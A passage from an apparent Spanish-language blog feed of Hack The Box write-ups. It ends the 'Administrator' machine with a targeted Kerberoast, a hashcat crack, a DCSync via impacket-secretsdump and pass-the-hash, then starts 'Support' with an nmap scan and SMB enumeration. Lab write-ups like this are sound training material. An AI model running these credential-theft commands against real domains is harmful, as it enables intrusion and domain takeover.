&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo ntpdate -u &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &amp;amp;&amp;amp; python
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;targetedKerberoast.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -v -d &lt;span style="color:#e6db74"&gt;&amp;#39;administrator.htb&amp;#39;&lt;/span&gt; -u &lt;span style="color:#e6db74"&gt;&amp;#39;emily&amp;#39;&lt;/span&gt; -p &lt;span style="color:#e6db74"&gt;&amp;#39;UXLCI5iETUsIBoFVTj8yQFKoHjXmb&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Crackeamos el hash y obtenemos la password:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hashcat -m &lt;span style="color:#ae81ff"&gt;13100&lt;/span&gt; ethan.hash /usr/share/wordlists/seclists/rockyou.txt --&amp;gt; limpbizkit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="dcsync-y-escalada-final"&gt;DCSync y escalada final&lt;/h3&gt;
&lt;p&gt;Con Ethan hacemos &lt;strong&gt;DCSync&lt;/strong&gt; para obtener los hashes del dominio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c5-b3ba-ce95d17f8374.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Finalmente hacemos &lt;strong&gt;PtH&lt;/strong&gt; con el hash de Administrator y quedamos &lt;em&gt;pwned&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8061-a235-d4642ed67b2b.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Support (Easy)</title><link>https://synacklabs.github.io/posts/support/</link><pubDate>Tue, 13 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/support/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina &lt;strong&gt;Support (Easy)&lt;/strong&gt;. Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8013-b9cf-e4e76515e53d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;h3 id="escaneo-de-puertos"&gt;Escaneo de puertos&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;41Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49664&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49680&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49697&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49714&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;19155&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;37046&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;25972&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;12574&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-26T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; N/A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Se puede enumerar mediante &lt;strong&gt;null session&lt;/strong&gt;.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina &lt;strong&gt;Support (Easy)&lt;/strong&gt;. Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante &lt;strong&gt;RBCD&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8013-b9cf-e4e76515e53d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;h3 id="escaneo-de-puertos"&gt;Escaneo de puertos&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos (server time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;41Z)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; support.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49664&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49680&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49692&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49697&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49714&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Host script results&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| p2p-conficker&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Checking &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; Conficker.C or higher...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;19155&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;37046&lt;/span&gt;/tcp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;25972&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Check &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; (port &lt;span style="color:#ae81ff"&gt;12574&lt;/span&gt;/udp)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; CLEAN (Timeout)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;/&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; checks are positive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host is CLEAN or ports are blocked
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Message signing enabled and required
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_clock-skew: 5s
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| smb2-time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2025&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;-26T16&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;40&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ start_date&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; N/A
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Se puede enumerar mediante &lt;strong&gt;null session&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-8068-aea3-c601dc4e36a7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e7888fa-f353-80c1-8a62-d91125cc9722.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Recogemos herramientas para el análisis y llama la atención &lt;strong&gt;UserInfo.exe&lt;/strong&gt;. Lo descomprimimos y revisamos DLLs y ficheros de configuración. Con &lt;code&gt;strings&lt;/code&gt; no aparece nada útil inicialmente.&lt;/p&gt;
&lt;h2 id="análisis-de-userinfoexe-extracción-de-credenciales"&gt;Análisis de UserInfo.exe (extracción de credenciales)&lt;/h2&gt;
&lt;p&gt;Para poder ejecutar el binario desde Kali, instalamos dependencias y lo probamos con &lt;strong&gt;mono&lt;/strong&gt;.&lt;/p&gt;
